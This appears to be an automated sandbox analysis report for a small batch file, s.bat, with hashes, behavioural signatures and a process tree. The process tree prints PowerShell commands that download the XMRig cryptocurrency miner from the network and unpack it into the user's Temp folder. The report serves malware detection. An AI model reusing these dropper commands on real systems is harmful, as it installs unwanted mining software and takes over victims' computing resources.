Analysis
-
max time kernel
86s -
max time network
73s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-12-2024 15:07
Behavioral task
behavioral1
Sample
s.bat
Resource
win11-20241007-en
windows11-21h2-x64
Behavioral task
behavioral2
Sample
s.bat
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral3
Sample
s.bat
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral4
Sample
s.bat
Resource
win10ltsc2021-20241211-en
windows10-ltsc 2021-x64
Behavioral task
behavioral5
Sample
s.bat
Resource
win11-20241007-en
windows11-21h2-x64
General
-
Target
s.bat
-
Size
1KB
-
MD5
1e64009a55d5a9eb64fd903f621e5ae0
-
SHA1
0e5de7ecc2363d16ac2ae8f244d895cff70d6cdb
-
SHA256
c5845905301cb177cd5ba386ab909a43ed5263ddbbc470ab0da8ef8c8bc82abf
-
SHA512
2b28221714861951beeb73247a7ab58f4e68d3510e030d25787a13c6c715cea2b82d51cb1f262736dde8738e9ceb59420b4d4dc724524ece75a6a13978da8695
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 7 3864 powershell.exe 9 3864 powershell.exe -
pid Process 3864 powershell.exe 4176 powershell.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2264 timeout.exe -
Suspicious behavior: EnumeratesProcesses 63 IoCs
pid Process 3864 powershell.exe 3864 powershell.exe 4176 powershell.exe 4176 powershell.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3864 powershell.exe Token: SeDebugPrivilege 4176 powershell.exe Token: SeDebugPrivilege 4468 taskmgr.exe Token: SeSystemProfilePrivilege 4468 taskmgr.exe Token: SeCreateGlobalPrivilege 4468 taskmgr.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe 4468 taskmgr.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 540 wrote to memory of 3864 540 cmd.exe 84 PID 540 wrote to memory of 3864 540 cmd.exe 84 PID 540 wrote to memory of 2264 540 cmd.exe 86 PID 540 wrote to memory of 2264 540 cmd.exe 86 PID 540 wrote to memory of 4176 540 cmd.exe 95 PID 540 wrote to memory of 4176 540 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:540 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3864
-
-
C:\Windows\system32\timeout.exetimeout /t 102⤵
- Delays execution with timeout.exe
PID:2264
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4176
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4468
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:5084
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5a2b24af1492f112d2e53cb7415fda39f
SHA1dbfcee57242a14b60997bd03379cc60198976d85
SHA256fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073
SHA5129919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
2.5MB
MD557b7ab5bce7d5e47fd168e1f0d437d32
SHA1050eeae3e0f0e876f9da175347b586871d14fe83
SHA2561d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc
SHA5128cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022